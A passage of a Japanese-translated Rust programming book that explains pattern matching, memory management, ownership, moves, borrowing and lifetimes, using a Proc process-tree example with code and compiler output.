イテレーターは、範囲外(Out-Of-Bounds、OOB)インデックス指定のような一般的なエラーも防ぎます。 これは次に準拠する助けになります。

[AR, Rule 14.2] for ループは整形式でなければならない2

パターンマッチング

最も単純な使い方では、パターンマッチングは C の switch 文に似ています。有限集合から 1 つのアクションを選択します。

前のセクションでは、enum バリアントに対する match を見ました。 これは、ドメイン固有のコンテキストに基づいて異なるアクションを取る便利な方法になり得ます。 復習すると、次のとおりです。

#[derive(Debug)]
pub enum State {
    Running,
    Stopped,
    Sleeping,
}

fn do_something_based_on_state(curr_state: State, pid: u32) {
    match curr_state {
        State::Running => stop_running_process(pid),
        State::Stopped => restart_stopped_process(pid),
        State::Sleeping => wake_sleeping_process(pid),
    }
}

C の switch とは異なり、パターンマッチングではのリストと、それぞれに対応するアクションを指定できます。 式を使うと、比較的複雑な条件を簡潔にエンコードできます。 例:

#![allow(unused)]
fn main() {
let x = 10;

match x {
    1 | 2 | 3 => println!("number is 1 or 2 or 3"),
    4..=10 => println!("number is between 4 and 10 inclusive"),
    x if x * x < 250 => println!("number squared is less than 250"),
    _ => println!("number didn't meet any previous condition!"),
}
}
  • 1つ目のmatchアーム1 | 2 | 3 => ...)は、3つのリテラル値を指定しています。マッチ対象の変数 x がその3つのいずれかと等しい場合にトリガーされます。

  • 2つ目のアームは、4から10までを含む範囲を指定しています。x がその範囲内のいずれかの値である場合にトリガーされます。

  • 3つ目のアームはガード式を使用します。x にそれ自身を掛けた値が250未満の場合にトリガーされます。

  • 4つ目で最後のアームはデフォルトケースです。ワイルドカード _ を使ってあらゆるものにマッチします。前のケースがどれもトリガーされなかった場合にのみトリガーされます。

入力は複数のアームにマッチすることはできず、適合する最初のパターンにのみマッチすることに注意してください。 したがって、順序は重要です。

Rustでは、マッチが網羅的であることも要求されます。つまり、プログラマーは考えられるすべてのケースを処理しなければなりません。 最初の例で State バリアントを網羅的にマッチするのは簡単でした。RunningStoppedSleeping の3つしかないためです。

2つ目の例では、let x = 10;x の型を指定していませんでした。 そのため、コンパイラはデフォルトで i32 と推論しました。 32ビット符号なし整数の考えられるすべての値を網羅的にマッチするのは面倒です。その代わりに、各パターンは考えられる値のサブセットをカバーしています。

4つ目のパターンであるワイルドカードのデフォルトは、何も見逃さないようにするために必要です。 その行が省かれていた場合、たとえば x16 であるケースを処理できません。

網羅性の要件により、私たちが書くどの match も考えられるあらゆる入力を適切に処理することが保証されます。これは、別のMISRAルールの精神に合致します。

[AR, Rule 16.4] switch文にはデフォルトケースがなければならない2

このルールはCの switch 文に特化したものですが、堅牢なマッチングという考え方は引き継がれます。適切なアクションを取らずに、switch/match をうっかり「フォールスルー」してしまうことは決して避けるべきです。

簡潔なパターンマッチング

Rustは、特定のパターンが適合したときにトリガーされる単一の条件付きアクションへとパターンマッチングを簡潔にまとめる構文を提供しています(残りは無視します)。 Rustコードで if letwhile let を見かけた場合、それは単一の match アームへ「掘り下げる」ための省略記法です。

この構文は最初のうちは分かりにくいことがあるため、本書の後半で、より大きなプログラムの文脈の中で徐々に紹介していきます。 予告として、次のコードを考えてみましょう(前に使った State enumを使用していると仮定します)。

let curr_state = State::Running;

match curr_state {
    State::Running => println!("Process is running!"),
    State::Stopped => {},   // 何もしない
    State::Sleeping => {},  // 何もしない
};

これは、次の省略記法と同等です。

let curr_state = State::Running;

if let State::Running = curr_state {
    println!("Process is running!");
}

Running 状態の場合にだけメッセージを出力していますが、異なるケースを網羅的に match する必要はないことに注目してください。 その代わりに、if let によって特定の enum バリアントに対してのみ条件付きアクションを実行できます。

前述のMISRAルールに照らすと、他のケースを無視することで堅牢性を失っているのでしょうか? 少し意外かもしれませんが、必ずしもそうではありません。

  • if let は他の if 文と同様に、特定の条件が真である場合にのみ本体が実行されます。設計上、網羅的であることを意図していません。if は1つのケースにだけ「関心」を持ちます。そしてそれは読み手にとって明らかです。

  • match は複数のパターンをサポートし、入力がどれをトリガーするかを知りません。設計上、それらすべてを処理する責任があります。そのため、コンパイラが網羅性を強制します。そうでなければ、読み手が見落とす可能性があります。

matchif let のどちらが適切かを判断することは、より広いプログラムの文脈に依存します。

まとめ

Rustの制御フロー構文は、他のプログラミング言語と大きく異なるわけではありません。 while ループは期待どおりに動作し、for ループはイテレーターに支えられており、「do while」は別の構文でエミュレートできます。 少し厳格な点があります。条件はブール値に評価されなければならず、if let を使わない場合、パターンマッチングは網羅的でなければなりません。 Rustは正しさの概念を促します。

背景によっては、パターンマッチングは初めてかもしれません。 その用途は、バリアントに対する単純な分岐から、複雑なパターンの精巧なマッチングまでさまざまです。 しかし、複雑なパターンが必要になることはおそらく多くありません。 そして必要になったときには、その機能が存在することをありがたく思うでしょう!

データ表現と制御フローについて見てきました。 次は、Rustをユニークにしているものを掘り下げるときです。 この言語の最も特徴的で新しい機能、すなわち所有権です。


  1. ブランチレスプログラミング。本当に重要なのか?. Jobin Johnson (2021).

  2. MISRA C: 2012 Guidelines for the use of the C language in critical systems (3rd edition). MISRA (2019). ↩2 ↩3

  3. トレイト std::iter::Iterator. The Rust Team (2022年アクセス).

Rust: 所有権の原則(4/6)

所有権の仕組みに入る前に、その動機、すなわちメモリ管理を理解しておく必要があります。

メモリを割り当てることはたいてい簡単で、変数宣言時に行われます。 固定サイズ型(例: [T; N])はスタックに割り当てることができ、動的サイズ型(例: Vec<T>)はヒープに割り当てなければなりません。

メモリの割り当て解除(別名「解放」)こそが厄介な部分です。 従来、戦略は2つありました。自動ガベージコレクションと手動メモリ管理です。 Rustは1、3つ目のアプローチである所有権を導入しています。 以下の表は、おおよその比較を示しています。

メモリ管理高速か?安全か?トレードオフ言語の例
ガベージコレクションいいえ、予測不能なレイテンシの急増がある2はいリアルタイムシステムや組み込みシステムには不向きGo、Java、Python、Haskell など
手動の malloc/newfree/deleteはいいいえ、極めて高い UB リスクがある3何十年にもわたりセキュリティ脆弱性の重大な原因C、C++
所有権はいはい一部の構造は表現が難しいRust

ガベージコレクションの性能上のペナルティには説明が必要です。 問題は、回収が言語ランタイム(あなたのプログラムに同梱される別のプログラム)によって実行される非同期操作であることです。 つまり、予測しにくい間隔で、他のコードが実行されている間、あなたのプログラムは「一時停止」されます。 ガベージコレクターは CPU 時間を消費し、あなたのプログラムがその役割を果たすのを一時的に妨げます。

手動管理アプローチの安全性上の欠点を本当に理解するために、次章ではメモリ破壊エクスプロイトを書きます。

所有権の導入

では、Rust における所有権とは何でしょうか。 大まかに言えば、プログラム内のすべての値について、次の2つの情報を決定するための仕組みです。

  1. 有効なスコープ: その値が有効であり、したがって使用できる場所。

  2. アクセス種別: 有効な値への参照をどのように使用できるか(読み取り専用か、書き込み可能か)。

参照については、その有効なスコープは Rust ではライフタイムと呼ばれます。 他のほとんどの言語では、スコープとライフタイムは別個の概念です。 しかし Rust の所有権モデルは、その境界を曖昧にします。

  • C 系の言語では、すでに解放された(そのライフタイムは終了した)後でも、変数がスコープ内にあるため、参照によってその変数にアクセスできてしまいます。その結果は UB です。

  • Rust では、それはコンパイル時エラーになります。安全なアクセスだけが許可されるため、スコープとライフタイムは重なっていなければなりません。

健全に推論するために、コンパイラはプログラム内のすべての値についてライフタイム情報を必要とします。

  • 直接保持される値(参照の背後にない値)については、ライフタイムは自明です。現在それを所有しているなら、その値は生存していなければなりません。

  • 参照の背後にある値については、多くの場合、ライフタイムを自動的に推論できます(これはライフタイム省略と呼ばれます)。それ以外の場合は、プログラマーが明示的に注釈を付けなければなりません。

ライフタイムは実行可能ファイルに存在しますか?

いいえ、ライフタイムはコンパイル時の構成要素です。 生成される機械語コードには現れず、コンパイラがプログラムの安全性を解析するためにのみ使用されます。 実行時のチェックもコストもありません。

すべての値には、単一で一意な所有者があります。 ソースコード上で所有者がスコープから「ドロップ」するまさにその場所(たとえば、それが宣言された関数の終端)で、その所有者が所有するすべての値のライフタイムは終了します。 そのため、コンパイラは所有されているすべての値を割り当て解除(別名「解放」)するコードを自動的に挿入します。

その結果、ソースコードに基づいてメモリとリソースの使用を正確に制御できます。 C や C++ が提供するものに匹敵しますが、安全性と引き換えに追加の制約があります。

以上が大まかな原則ですが、コードには微妙な点があります。 ルールと、それに対する例外という形でです。 このセクションと次のセクションの両方で、所有権を詳しく見ていきます。

メモリリークとは何ですか?管理戦略ごとには?

「メモリリーク」は、ある値がプログラムによって使われなくなったにもかかわらず、割り当て解除されない場合に発生します。 これは「情報漏えい」(機密情報を誤って露出させること)とは別のものです。 情報漏えいとは異なり、メモリリークはセキュリティ上の問題ではありません

ただし、可用性には影響する可能性があります。 長時間実行されるプロセス(例: Web サーバー)が(例: ループ内で)繰り返しメモリをリークすると、最終的に利用可能な RAM を使い果たし、OS によって強制終了される可能性があります。

リークの起こり方は、メモリ管理戦略によって異なります。

  • ガベージコレクション - コレクターのコードには、値のライフタイムに関するソースレベルの情報がありません。実行時に参照を追跡しなければなりません。そして保守的でなければなりません。つまり、生存している可能性がある値は回収できません。アプリケーション固有のエッジケースによって、値への参照が無期限に保持され、リークが発生することがあります。

  • 手動 - たとえ元の割り当てを遠く離れたライブラリコードが行っていたとしても、プログラマーが値を手動で解放し忘れれば、リークが発生します。

  • 所有権 - リークが起こり得るのは、プログラマーが循環参照を伴う内部可変性(このセクションの最後を参照)のような特定のパターンを選択した場合に限られます。

所有権の階層

すべての値はちょうど1つの所有者を持たなければならないため、所有権は階層的な木として考えることができます。 木の各ノードは値であり、親の値はその子の値を所有します。

これは、すべてのプロセスがちょうど1つの親を持つ OS のプロセスツリーの構造におおよそ対応します。 完全な類推ではありませんが4、この例では木という考え方を定着させるために、そのまま進めます。 木は本書の中心的なテーマであり、コンピューターサイエンスにおける不朽の概念です。

次のプログラムを考えてみましょう。これは、以前の Proc 構造体を変更したバージョンを使用しています。

#[derive(Debug)]
pub enum State {
    Running,
    Stopped,
    Sleeping,
}

#[derive(Debug)]
pub struct Proc {
    name: &'static str,  // Process name (update: nicer print than u32 pid)
    state: State,        // Current state
    children: Vec<Proc>, // Children (update: now owned!)
}

impl Proc {
    pub fn new(name: &'static str, state: State, children: Vec<Proc>) -> Self {
        Proc {
            name,
            state,
            children,
        }
    }
}

fn main() {
    // Build process tree using 3 "moves" (more info soon):
    //
    // init
    //  |- cron
    //  |- rsyslogd
    //      |- bash
    //
    // Run "pstree -n -g" (in container) to see your OS's real process tree!

    // Alloc bash
    let bash = Proc::new("bash", State::Running, Vec::new());

    // Alloc rsyslogd, 1st move: bash -> rsyslogd
    let rsyslogd = Proc::new("rsyslogd", State::Running, vec![bash]);

    // Alloc cron
    let cron = Proc::new("cron", State::Sleeping, Vec::new());

    // Alloc init, 2nd and 3rd moves: cron -> init, rsyslogd -> init
    let init = Proc::new("init", State::Running, vec![cron, rsyslogd]);

    // Print serialized tree to see ownership hierarchy
    dbg!(init);
}

このコードは、一連のムーブを使用して木(他の Proc 構造体を再帰的に含む Proc 構造体)を構築します。 ムーブは、所有権を移転する方法です。 次のセクションでは、このコードのムーブのシーケンスを調べます。 ここでは最終的な出力に注目しましょう。

[src/main.rs:49] init = Proc {
    name: "init",
    state: Running,
    children: [
        Proc {
            name: "cron",
            state: Sleeping,
            children: [],
        },
        Proc {
            name: "rsyslogd",
            state: Running,
            children: [
                Proc {
                    name: "bash",
                    state: Running,
                    children: [],
                },
            ],
        },
    ],
}

ProcDebug トレイトを導出しているため、dbg! マクロを使ってその内容のシリアライズを出力できます。 上で出力されている 4 つの Proc 値(initcronrsyslogdbash という名前)にはすべて所有者があり、それは出力されたツリーで確認できます。 最も低く深いネスト階層から、下から上へ見ていくと次のようになります。

  • bashrsyslogd に所有されています。
  • rsyslogdinit に所有されています。
  • croninit に所有されています。
  • init は別の値に所有されているのではなく、関数 main に所有されています。

これから、この所有権の階層がメモリの割り当てと解放にどのように影響するかを順に見ていきます。

静的ライフタイム

ここでの細かな点は name フィールドです。 その型である &str は、不変の文字列参照です。 &'static str は、名前が 文字列リテラル であり、そのライフタイム('static)が、main 関数の前後も含むプログラムの 実行全体 にわたることを意味します(その間に OS はセットアップとティアダウンのタスクを行います)。

私たちの値はいずれも、その文字列名("init""cron""rsyslogd""bash")を 所有 していません。 それらは「永久に」生存する(プロセス終了まで生存する)何かへの参照(&)を 借用 しているだけであり、解放する必要はありません。 これらの文字列はコンパイル済みバイナリに埋め込まれています。

割り当て

Proc 構造体のメモリは、変数宣言時に割り当てられました。 各インスタンスは固定サイズで、64 ビットマシンではわずか 48 バイトです5

#[test]
fn test_size() {
    assert_eq!(core::mem::size_of::<Proc>(), 48);
}

固定サイズであることは割り当てには便利ですが(48 バイトの塊を切り出すだけで済みます)、奇妙に思えるかもしれません。 結局のところ、Procchildren フィールドは動的なリストです。 各子はそれぞれ 48 バイトのインスタンスであり、それぞれがさらに独自の子を持つ可能性があります。 定義されている Proc は再帰的な構造です。 さらに、name は任意の長さを持つことができます。 では、どうしてサイズを固定でき、これほど簡単に割り当てられるのでしょうか。

それは、Proc のサイズ計算には、その名前と子のリストへの ポインタ5 だけが含まれるためです。 子を持たない単一の Proc 構造体がメモリ上でどのように見えるかを、おおよそ示すと次のようになります。


子を持たない Proc 構造体の概念的なメモリレイアウト。

1 つの子を持つ場合(その子自身は子を持たない)は、次のようになります。


1 つの子を持つ Proc 構造体の概念的なメモリレイアウト。

構造体のサイズは変わっておらず、指し示されているスロットの内容だけが変わっています。 上の図に注目してください。これは、"proc_1" という名前の構造体が "proc_2" という名前の構造体を所有しているとき、メモリがおおよそどのように見えるかを示しています。 まもなく、1 つの構造体が別の構造体への参照を 借用 する、別のレイアウトと対比します。

解放

では、所有権は解放をどのように扱うのでしょうか。

先ほど見た dbg! の出力にある階層を使って考えます。 init は「トップレベル」の値であり、他の 3 つを所有しています。 そして、main 関数の実行が終わると ドロップ されます。 そのためコンパイラは、main の最後の行である dbg!(init); の直後に解放ロジックを追加します。 デストラクタ は自動的に実装されます。 このデストラクタは所有権の階層をたどることで、init に所有されている他の構造体をどのようにクリーンアップすればよいかを把握しています。

println! を 1 つ追加するだけで、実行時の解放シーケンスを追跡できます。 Rust は、ある型に Drop トレイト6 を実装するだけで、デストラクタの前に任意のロジックを実行できます。 外部リソースを解放するためのカスタムコード(たとえばネットワーク接続やデータベース接続を閉じるなど)や、それに類する処理を実行する必要がある場合に使えます。

今回は、ドロップのたびに name フィールドと Proc 構造体のメモリアドレスを出力します。

impl Drop for Proc {
    fn drop(&mut self) {
        println!("De-alloc-ing \'{}\' Proc @ {:p}", self.name, self);
    }
}

ここでプログラムを実行すると、(シリアライズされた dbg! の出力の後に)次のように出力されます。

De-alloc-ing 'init' Proc @ 0x7ffd4d149460
De-alloc-ing 'cron' Proc @ 0x560d2fbb0b10
De-alloc-ing 'rsyslogd' Proc @ 0x560d2fbb0b40
De-alloc-ing 'bash' Proc @ 0x560d2fbb0ad0

関数 main が終了する直前に、構築したプロセスツリー全体がクリーンアップされていることが分かります。 ガベージコレクションとは異なり、この一連のイベントは予測可能です。 ソース内でデストラクタを手動で呼び出してはいませんが、経験豊富な Rust 開発者なら何が起こるかを推測できます。 このようにプログラムを書くことで、メモリ使用量をきめ細かく制御できました。

頭の体操をしたい気分なら、名前がこの特定の順序で出力される理由(ヒント: 決定的です)と、最初のアドレスが次の 3 つと異なって見える理由(ヒント: どの 2 つの 場所 が関わっているでしょうか)を少し考えてみてください。

Resource Acquisition is Initialization (RAII)

先ほど見た割り当て/解放の戦略は、より一般的には RAII と呼ばれ、特に C++ の世界でそう呼ばれます。 Scope-Bound Resource Management (SBRM) という用語を好む人もいます。

RAII/SBRM の中心的な考え方は、リソース(たとえばメモリ、ファイルハンドル、ロックなど)はコンストラクタで 取得 され、構築された値のライフタイム/スコープの間は使用でき、デストラクタで 解放 される、というものです。

Rust のコンパイラは、メモリについて常にこの振る舞いを強制します。 std::fs::File7 のような型や、Drop を実装したユーザー定義型は、メモリ以外のリソースについても同じことができます。

これで、所有権がメモリ管理、つまり割り当てと解放にどのように関係するかを直接見てきました。 その動機を理解したところで、所有権システムを効果的に使うために必要な概念へ移りましょう。 特に重要な 2 つは、ムーブ(所有権の移転)と 借用(所有されている値へのアクセスを一時的に貸し出すこと)です。

ムーブ

所有権をある値から別の値へ移転(別名「ムーブ」)できなければ、Rust は実用性に乏しいおもちゃの言語になってしまうでしょう。 ムーブ は、次のような日常的なプログラミングタスクを可能にします。

  • 関数から値を返す。
  • 計算結果を変数に格納する。
  • ベクターやハッシュマップのような状態を持つコレクションを使用する。

上のプロセスツリーの例では、ムーブによって、他の Proc を含む Proc という複雑なネスト構造を段階的に組み立てることができました。 しかし、まずはもっと単純なものから始めましょう。

fn main() {
    let x = "Hello!".to_string();
    let y = x; // x は y にムーブされる。y が String 値 "Hello!" を所有するようになる

    // これは動作する
    println!("Owned string: {y}");

    // これはコンパイル時エラーになる。x は「なくなって」おり、その値はムーブ済み!
    //println!("Owned string: {x}");
}
// スコープの終わり。ここで y がドロップされる。

代入 let y = x; は、ヒープに割り当てられた String のコピーを作成したわけではありません。 長い文字列ではそれは高コストになるため、データ複製関数を明示的に呼び出す必要があります(例: let y = x.clone();)。 Rust はパフォーマンスを優先します。

代わりに、所有権の安価な移転を行いました。つまり、x から y(スタック変数)へのファットポインターのムーブです。 String 値は任意の時点で一意の所有者を 1 つしか持てないため、x は所有権を y に移すことでそれを「手放した」のです。

代入文が実行された後、y が唯一の所有者になります。 x は未初期化の空の状態のままになります。 そのため、もはやそれを使用したり出力したりすることはできません。 視覚的には、状況は次のようになります。

y は現在 String "Hello!" を所有している

その概念を念頭に置いて、ツリーの構築においてムーブがどのように行われたかを見直してみましょう。 最初の 2 行は次のとおりでした。

// bash を割り当て
let bash = Proc::new("bash", State::Running, Vec::new());

// rsyslogd を割り当て、1 回目のムーブ: bash -> rsyslogd
let rsyslogd = Proc::new("rsyslogd", State::Running, vec![bash]);

vec! マクロは、新しい Vec を作成して要素をその中にプッシュするための初期化の省略記法であることを思い出してください。 ベクターに要素を追加するとき、私たちはムーブを行っています。 代入 let y = x; と同様に、Rust はデータを暗黙的に複製しません。

つまり、rsyslogd プロセスを作成することで、値(Proc 構造体のインスタンス)をローカル変数 bash からローカル変数 rsyslogdchildren フィールドへとムーブしました。 すべての値はちょうど 1 つの所有者を持たなければならないため、以前の x と同様に、変数 bash はもはや使用できません。 それを出力しようとしたとしましょう。

// bash を割り当て
let bash = Proc::new("bash", State::Running, Vec::new());

// rsyslogd を割り当て、1 回目のムーブ: bash -> rsyslogd
let rsyslogd = Proc::new("rsyslogd", State::Running, vec![bash]);

// エラー: 所有者のない値は出力できません!
dbg!(bash);

このコードはコンパイルされません。

error[E0382]: use of moved value: `bash`
  --> src/main.rs:70:10
   |
64 |     let bash = Proc::new("bash", State::Running, Vec::new());
   |         ---- move occurs because `bash` has type `Proc`, which does not implement the `Copy` trait
...
67 |     let rsyslogd = Proc::new("rsyslogd", State::Running, vec![bash]);
   |                                                               ---- value moved here
...
70 |     dbg!(bash);
   |          ^^^^ value used here after move

For more information about this error, try `rustc --explain E0382`.

なぜでしょうか? 解放について思い出してください。 ムーブは単一の所有者を維持しなければならず、それによって所有された値を格納しているメモリをいつ解放してよいかが明確(曖昧でない状態)になります。

上の誤ったコードは、特定の Proc インスタンスの所有権を rsyslog に渡そうとしながら、同時に bash の所有権も保持しようとしています。 そうすると解放が曖昧になります。コンパイラは、そのインスタンスのリソースを最終的に解放する責任が 2 つのうちどちらにあるのかを判断できません。

わかりました。 これで、なぜムーブは所有権を移転しなければならないのかについて感覚をつかめました。 しかし、これは制約が強いように感じます。 大規模で複雑なプログラムを書いている場合はどうでしょうか? 変数を出力したり、さらにはアクセスしたりする能力を失うことは、すぐに不満の種になるでしょう。 完全な障害にならないとしてもです。 ここで 借用 が登場します。

借用とライフタイム

借用は、値へのアクセスを一時的に許可する仕組みです。 その値をムーブして元の所有者を空にすることはありません。

この概念は抽象的に感じるかもしれないので、実用的な例、つまり関数の引数から始めましょう。 以下のプログラムは以前の文字列の例に似ていますが、今回は文字列パラメーターの長さを出力する関数によってムーブが行われます。 最後の行がコメントアウトされていなければ、ムーブに関連する別のコンパイル時エラーが発生します。

fn print_str_len(s: String) {
    println!("\'{}\' is {} bytes long.", s, s.len());
}

fn main() {
    let x = "Hello!".to_string();

    // x は関数にムーブされ、その関数が String 値 "Hello!" を所有するようになる
    print_str_len(x);

    // これはコンパイル時エラーを引き起こす。x は「なくなって」おり、その値はムーブ済み!
    //println!("Owned string: {x}");
}

1 つの潜在的な修正方法は、print_str_len が入力の String を返すようにして、それを x に再代入できるようにすることです。 本質的には、関数型スタイルで行ったり来たりムーブするということです。 しかし、借用はよりよい方法を提供します。 このコードはコンパイルされ、実行されます。

fn print_str_len(s: &String) {
    println!("\'{}\' is {} bytes long.", s, s.len());
}

fn main() {
    let x = "Hello!".to_string();

    // 関数は参照によって x を一時的に借用する。
    print_str_len(&x);

    // 今回はエラーにならない!x は依然として String を所有している。
    println!("Owned string: {x}");
}
  • print_str_len のパラメーターが String(「文字列」)から &String(「文字列への不変参照」)に変わりました。

    • 小さな詳細: &str 型を使うとさらによかったでしょう。そうすれば、print_str_len は文字列スライスに対しても動作できるようになるためです。静的ライフタイムを持つものも含まれます。
  • 呼び出し元は、参照によって x借用するようになりました(print_str_len(x);print_str_len(&x); に更新されました)。

    • 重要な概念: 関数はもはや所有権を受け取りません。出力を行うのに十分な時間だけ、文字列へのアクセスを借用するだけです。

借用には従わなければならない規則があり、前の章で可変エイリアシングについて議論したときにそれに触れました。 それらの規則については次のセクションで戻ってきます。 借用によって Proc ツリーの例がどのように変わるかを見てみましょう。

#[derive(Debug)]
pub struct Proc<'a> {
    name: &'static str,          // Process name
    state: State,                // Current state
    children: Vec<&'a Proc<'a>>, // Children (update: now borrowed!)
}

impl<'a> Proc<'a> {
    pub fn new(name: &'static str, state: State, children: Vec<&'a Proc>) -> Self {
        Proc {
            name,
            state,
            children,
        }
    }
}

fn main() {
    // Alloc bash
    let bash = Proc::new("bash", State::Running, Vec::new());

    // Alloc rsyslogd, 1st move: bash -> rsyslogd
    let rsyslogd = Proc::new("rsyslogd", State::Running, vec![&bash]);

    // Print owned value (new!)
    dbg!(&bash);

    // Alloc cron
    let cron = Proc::new("cron", State::Sleeping, Vec::new());

    // Alloc init, 2nd and 3rd moves: cron -> init, rsyslogd -> init
    let init = Proc::new("init", State::Running, vec![&cron, &rsyslogd]);

    // Print another owned value (new!)
    dbg!(&cron);

    // Print serialized tree to see ownership hierarchy
    dbg!(&init);
}

大きな違いは 2 つあります。

  1. 借用を使うことで、bashcrondbg! で出力するためにアクセスする柔軟性が得られました。ツリーに追加した後でさえ可能です。これは、追加がもはやムーブを行わないためです。childrenProc 構造体によって借用されるだけであり、別の場所で「生きる」ことができます。

  2. Proc 構造体定義と、そのコンストラクター引数の 1 つに ライフタイム 注釈('a)を追加しました。これまで使ってきた 'static ライフタイムは、値(ここでは name)がプログラム全体にわたって生存することを示しますが、'aProc が、それが借用する参照(ここでは所有されていない children)と少なくとも同じ長さだけ生存しなければならないことを示します。

ライフタイム注釈は、特にジェネリクスと一緒に現れると、威圧的に見えるかもしれません。 Rust のシグネチャは、ときどき少し込み入ったものになることがあります。 今の時点でこの記法やその背後にある概念に慣れている必要はありません。これは時間と経験とともに感覚がつかめるものです。 本書を通じて、これには繰り返し戻ってきます。

なぜコンパイラにはライフタイム注釈が必要なのでしょうか?

Rust のコンパイラは、特定の結果を 1 つの関数ごとに見て計算する必要があります。なぜなら、考えられるすべての関数呼び出し列を全体的な「呼び出しチェーン」として考慮することは、非常に高コストだからです。

しかし、計算された結果は、考えられるすべての呼び出しチェーンに対して妥当である必要があります。 この種のものを指す技術用語は「手続き間静的解析」です。 構造体や関数に付けるライフタイム注釈は、こうした種類の解析を支援します。 手短に言えば、ライフタイム注釈は、人間参加型の性質検証システムを可能にします。 コンパイラは、ときどきあなたの天才的な生身の脳にそれを問い合わせることで、あなたの意図を学習し、そうでなければ手に負えない問題、すなわちメモリエラーの排除を解く手助けをします。 それは、ほぼ全知でありながら狭い範囲に集中する完璧主義者と一緒にペアプログラミングをするようなものです。

うげ、ライフタイム注釈っていつも書き出さないといけないの?

幸い、その必要はありません! ライフタイム情報は常に存在していなければなりませんが、多くの場合は自動的に推論できます。 実際、コンパイラには先ほどの print_str_len 関数が次のように見えています。

#![allow(unused)]
fn main() {
fn print_str_len<'a>(s: &'a String) {
    println!("\'{}\' is {} bytes long.", s, s.len());
}
}

静的解析により、その文字列参照が有効なライフタイムを持つことが保証され、安全性とメモリ管理が処理されます。しかも、それを明示的に書き出す必要はありません。

視覚的には、子を持たない単一の Proc 構造体について、借用ベースのメモリレイアウトは次のようになります。


子を持たない Proc 構造体の概念的なメモリレイアウト。

そして、子を 1 つ持つ Proc(その子自身は子を持たない)の場合は次のようになります。


子を 1 つ持つ Proc 構造体の概念的なメモリレイアウト。

親プロセスは子への参照を保持し、そのライフタイムをコンパイラがチェックします。 これを、以前のムーブベースの図と比較してみましょう。

  • 借用では、解放に関する限り、各構造は独立したままです。

  • 構築した論理ツリーは変わりません。上記の借用ベースのプログラムの完全な出力では、[src/main.rs:73] で始まる行にそれを確認できます。

[src/main.rs:61] &bash = Proc {
    name: "bash",
    state: Running,
    children: [],
}
[src/main.rs:70] &cron = Proc {
    name: "cron",
    state: Sleeping,
    children: [],
}
[src/main.rs:73] &init = Proc {
    name: "init",
    state: Running,
    children: [
        Proc {
            name: "cron",
            state: Sleeping,
            children: [],
        },
        Proc {
            name: "rsyslogd",
            state: Running,
            children: [
                Proc {
                    name: "bash",
                    state: Running,
                    children: [],
                },
            ],
        },
    ],
}
De-alloc-ing 'init' proc @ 0x7ffe455e5c40
De-alloc-ing 'cron' proc @ 0x7ffe455e5bf0
De-alloc-ing 'rsyslogd' proc @ 0x7ffe455e5ae0
De-alloc-ing 'bash' proc @ 0x7ffe455e5a90

このツリーのムーブで構築したバリエーションと借用で構築したバリエーションの違いは、今すぐ完全に腑に落ちる必要はありません。 これらは、コンパイラ設計とコンピュータアーキテクチャの交差点にある難しい概念です。 しかし、これらすべてがどのようにつながっているのか、少し感覚がつかめ始めているかもしれません。

まとめ

所有権は Rust の最も斬新な機能ですが、同時に最も複雑な機能でもあります。 ここまで所有権について学んだことを振り返ってみましょう。

  • これはメモリの割り当てと解放を管理する、高速で安全な方法です。

  • すべての値には所有者があります。所有権の移転はムーブと呼ばれます。

  • 値は、その所有者がスコープを抜けたときに解放されます。そのスコープは、Rust では実質的にライフタイムです。

  • 値は参照を通じて借用できます。不変かつ非排他的に、または可変かつ排他的に借用できます。どちらも、値をムーブせずに一時的なアクセスを許可する方法です。

  • 借用は、参照先の値より長く生存することはできません。借用は必然的に、より短いライフタイムを持ちます(名前が示すように、借用は一時的なものです)。

これら 5 つの箇条書きが大まかな直感として結びつき始めているなら、順調です。 そして、所有権システムを日々扱うためのコードパターンを、より詳しく見ていく準備ができています。

この概念の集中砲火は今は難解に感じるかもしれませんが、所有権はやがて、時間と練習を通じて身についていきます。 これは物事を行ううえで異なる方法ですが、慣れていけるものです。 さらに探っていきましょう。


  1. 「所有権」は Rust が発明したものではなく、線形型とアフィン型に関する先行研究に基づいています。さらに、コンパイル時メモリ管理を行う所有権ベースの「領域解析」は、Cyclone という秘教的な言語に登場していました。しかし、メモリを管理するために所有権の強制を使用する、主流で商業的に実用可能な言語としては、Rust が初めてです。

  2. Discord が Go から Rust に移行する理由。Jesse Howarth(2020)。

  3. SoK: メモリにおける永遠の戦争。Laszlo Szekeres、Mathias Payer、Tao Wei、Dawn Song(2012)。

  4. この類推は完全ではありません!Linux では、最初に実行されるプロセスである init には親がありません。同様に、&'static ライフタイムを持つ Rust の値は、プログラム内のどの変数にも所有されません。親プロセスは、その子も終了させることなく kill できます。Rust では、所有者がスコープを抜けると、その所有者が所有するすべての値も解放されます。

  5. assert している 48 バイトのサイズには、children のヒープデータへの fat pointer(メモリアドレス、総容量、現在の長さのタプル)だけが含まれています。同様に、name フィールドは読み取り専用メモリにハードコードされた文字列へのポインタです。 ポインタは単なるメモリアドレスであり、マシン固有の幅を持ちます。そのため、このサイズが「64 ビットマシン」向けであるという注意書きをしています。 ↩2

  6. トレイト std::ops::Drop。The Rust Team(2022 年参照)。

  7. 構造体 std::fs::File。The Rust Team(2022 年参照)。

Rust: 実践における所有権(全6回中5回)

Rust は、所有権を柔軟かつ実用的にするための4つの仕組みを提供します。 基本原則を守りながら、プログラム全体で所有権が移り変わるための方法です。

そのうちの2つ、ムーブと借用はすでに見てきましたが、全体像を一通り見渡すことには十分な価値があります。 これらは、所有権の実装と強制を担うコンパイラコンポーネント1である借用チェッカーとうまく付き合うための「コツ」です。

借用チェッカーを納得させるのは難しい場合があります。 Rust に慣れていないプログラマーは、プログラムを表現しようとしたときにエラーに遭遇する「借用チェッカーとの戦い」を経験するかもしれません。 幸いなことに、こうした障害の大部分は経験を積むにつれて消えていきます。

このセクションでは、次の内容を通じて、所有権についての議論を続けます。

  • 新しい視点から課題の動機付けを行う。
  • ASCII による可視化でライフタイムを説明する。
  • 借用チェッカーと付き合うための4つの仕組みをすべて列挙する。

アシュアランスの目標を念頭に置く

コードスニペットに戻る前に、私たちの動機を改めて確認しましょう。 なぜ、これらの複雑な所有権の概念を学ぶ価値があるのでしょうか。

Rust コンパイラは、人間がループに入る性質検証エンジンに似ている、と言うこともできるでしょう。 機械と人間の融合です。 これは大げさな概念化です。 しかし、そこには一定の真実があります2

  • 利点: 機械は、性能上の制約のもとでメモリ安全性を保証するための解析を実行します(証明される性質)。

  • 部分的な自動化とのトレードオフ: 機械が行き詰まったときに助けとなるよう、人間がライフタイムのソースアノテーションを管理します。あるいは、ときには問題を完全に捉え直して、機械で検査可能な形にします。

